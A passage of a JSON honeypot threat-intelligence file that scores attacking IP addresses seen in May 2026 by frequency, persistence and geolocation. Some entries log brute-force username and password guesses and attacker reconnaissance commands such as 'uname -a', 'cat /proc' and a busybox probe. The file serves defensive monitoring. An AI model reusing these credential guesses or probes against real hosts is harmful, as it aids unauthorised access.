        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T03:04:50.193000+00:00",
        "last_seen_30d": "2026-05-26T03:06:52.394000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "65.181.112.131": {
      "attack_count": 58,
      "first_seen": "2026-05-09T11:36:26.913Z",
      "last_seen": "2026-05-31T20:04:12.679Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36454,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:36:26.913000+00:00",
        "last_seen_30d": "2026-05-31T20:05:13.538000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "51.254.17.136": {
      "attack_count": 42,
      "first_seen": "2026-05-10T02:26:36.811Z",
      "last_seen": "2026-05-31T21:29:51.907Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:26:36.811000+00:00",
        "last_seen_30d": "2026-05-31T21:30:53.280000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 22
      }
    },
    "125.227.213.191": {
      "attack_count": 41,
      "first_seen": "2026-05-17T01:32:50.939Z",
      "last_seen": "2026-05-17T12:32:38.248Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "ssh"
      ],
      "passwords_attempted": [
        "123456",
        "172.105.186.117",
        "172.105.186.117172.105.186.117",
        "ssh",
        "ubuntu"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.size",
        "cowrie.command.input",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Chang-hua",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T01:23:07.525000+00:00",
        "last_seen_30d": "2026-05-17T12:33:38.626000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 22
      }
    },
    "124.29.226.171": {
      "attack_count": 32,
      "first_seen": "2026-05-28T14:57:15.153Z",
      "last_seen": "2026-05-28T15:00:42.477Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T14:57:15.153000+00:00",
        "last_seen_30d": "2026-05-28T15:01:44.018000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "95.215.32.11": {
      "attack_count": 32,
      "first_seen": "2026-05-05T00:39:51.437Z",
      "last_seen": "2026-05-11T06:42:17.304Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "config"
      ],
      "passwords_attempted": [
        "admin",
        "config",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:39:51.437000+00:00",
        "last_seen_30d": "2026-05-11T06:43:24.891000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 15
      }
    },
    "185.134.49.179": {
      "attack_count": 30,
      "first_seen": "2026-05-11T01:19:32.996Z",
      "last_seen": "2026-05-31T03:36:24.121Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:19:32.996000+00:00",
        "last_seen_30d": "2026-05-31T03:37:26.204000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "31.57.28.54": {
      "attack_count": 27,
      "first_seen": "2026-05-20T01:42:37.045Z",
      "last_seen": "2026-05-20T01:43:10.399Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "RPM",
        "monitor",
        "sshd",
        "support",
        "system"
      ],
      "passwords_attempted": [
        "OkwKcECs8qJP2Z",
        "RPM",
        "monitor",
        "sshd",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:42:37.045000+00:00",
        "last_seen_30d": "2026-05-20T01:44:15.485000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 11
      }
    },
    "196.249.205.48": {
      "attack_count": 26,
      "first_seen": "2026-05-20T16:03:52.584Z",
      "last_seen": "2026-05-20T17:49:40.092Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 17400,
      "as_org": "MSTelcom",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:03:52.584000+00:00",
        "last_seen_30d": "2026-05-20T17:50:44.674000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 13
      }
    },
    "191.245.6.191": {
      "attack_count": 22,
      "first_seen": "2026-05-19T07:40:42.513Z",
      "last_seen": "2026-05-19T17:42:40.599Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:40:42.513000+00:00",
        "last_seen_30d": "2026-05-19T17:43:47.106000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "46.8.234.48": {
      "attack_count": 22,
      "first_seen": "2026-05-08T02:18:58.681Z",
      "last_seen": "2026-05-08T02:22:45.132Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "B\u0103l\u0163i",
      "asn": 51267,
      "as_org": "Interlink Comunicatii SRL",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T02:18:58.681000+00:00",
        "last_seen_30d": "2026-05-08T02:29:14.342000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "193.32.162.225": {
      "attack_count": 18,
      "first_seen": "2026-05-13T10:34:34.655Z",
      "last_seen": "2026-05-13T10:34:43.520Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "",
        "admin",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:34:34.655000+00:00",
        "last_seen_30d": "2026-05-13T10:35:52.031000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 5
      }
    },
    "45.55.185.228": {
      "attack_count": 18,
      "first_seen": "2026-05-15T07:46:38.504Z",
      "last_seen": "2026-05-28T19:11:09.230Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:46:38.504000+00:00",
        "last_seen_30d": "2026-05-28T19:12:13.394000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "89.117.172.52": {
      "attack_count": 18,
      "first_seen": "2026-05-28T10:14:03.449Z",
      "last_seen": "2026-05-29T12:02:27.977Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:14:03.449000+00:00",
        "last_seen_30d": "2026-05-29T12:03:35.244000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "102.216.116.26": {
      "attack_count": 16,
      "first_seen": "2026-05-23T05:19:35.213Z",
      "last_seen": "2026-05-23T05:33:51.677Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Marsabit",
      "asn": 329021,
      "as_org": "SAVENET-LIMITED",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:19:35.213000+00:00",
        "last_seen_30d": "2026-05-23T05:34:55.721000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "152.32.250.21": {
      "attack_count": 12,
      "first_seen": "2026-05-06T05:56:39.453Z",
      "last_seen": "2026-05-06T05:56:58.536Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T05:50:53.220000+00:00",
        "last_seen_30d": "2026-05-20T18:29:15.853000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 12,
        "Honeytrap": 9
      }
    },
    "209.23.9.102": {
      "attack_count": 12,
      "first_seen": "2026-05-08T12:42:46.521Z",
      "last_seen": "2026-05-12T01:15:37.576Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6364,
      "as_org": "Atlantic.net, Inc.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:42:46.521000+00:00",
        "last_seen_30d": "2026-05-12T01:16:40.688000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "45.135.193.206": {
      "attack_count": 12,
      "first_seen": "2026-05-08T22:36:10.935Z",
      "last_seen": "2026-05-10T06:03:23.299Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Langen",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T04:20:44+00:00",
        "last_seen_30d": "2026-05-10T06:04:28.886000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 8,
        "Honeytrap": 2,
        "Tanner": 1
      }
    },
    "183.56.235.140": {
      "attack_count": 11,
      "first_seen": "2026-05-05T06:23:50.851Z",
      "last_seen": "2026-05-05T06:26:56.086Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:23:50.851000+00:00",
        "last_seen_30d": "2026-05-05T06:36:58.724000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "3.138.85.251": {
      "attack_count": 11,
      "first_seen": "2026-05-29T11:43:08.116Z",
      "last_seen": "2026-05-29T11:47:10.024Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T11:43:08.116000+00:00",
        "last_seen_30d": "2026-05-29T11:54:51.653000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 9
      }
    },
    "45.79.181.94": {
      "attack_count": 11,
      "first_seen": "2026-05-04T05:42:55.291Z",
      "last_seen": "2026-05-04T05:42:55.718Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 79.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T17:37:11+00:00",
        "last_seen_30d": "2026-05-30T08:26:32.184000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 12,
        "Cowrie": 11,
        "Tanner": 1
      }
    },
    "105.246.80.85": {
      "attack_count": 8,
      "first_seen": "2026-05-16T03:55:48.231Z",
      "last_seen": "2026-05-16T03:57:56.680Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 36994,
      "as_org": "Vodacom-VB",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:55:48.231000+00:00",
        "last_seen_30d": "2026-05-16T04:09:01.602000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "45.174.70.3": {
      "attack_count": 8,
      "first_seen": "2026-05-23T00:05:47.533Z",
      "last_seen": "2026-05-23T00:13:51.212Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ahome",
      "asn": null,
      "as_org": null,
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:05:47.533000+00:00",
        "last_seen_30d": "2026-05-23T00:14:58.586000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "66.132.172.131": {
      "attack_count": 8,
      "first_seen": "2026-05-21T12:50:30.102Z",
      "last_seen": "2026-05-24T23:35:55.244Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 194,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T07:10:36+00:00",
        "last_seen_30d": "2026-05-31T18:33:31.466000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110,
        "Honeytrap": 53,
        "ElasticPot": 16,
        "Cowrie": 8,
        "Miniprint": 6,
        "Ipphoney": 1
      }
    },
    "86.54.31.34": {
      "attack_count": 8,
      "first_seen": "2026-05-31T09:16:20.317Z",
      "last_seen": "2026-05-31T09:16:25.155Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 12989,
      "as_org": "Black HOST Ltd",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 305,
        "days_active_30d": 30,
        "ports_targeted_30d": 65,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:00:05.921000+00:00",
        "last_seen_30d": "2026-05-31T21:57:59.726000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 217,
        "Honeytrap": 75,
        "Cowrie": 8,
        "Mailoney": 3,
        "Dicompot": 2
      }
    },
    "172.178.115.83": {
      "attack_count": 7,
      "first_seen": "2026-05-27T23:50:03.042Z",
      "last_seen": "2026-05-27T23:50:13.100Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.7,
        "persistence": 24.2,
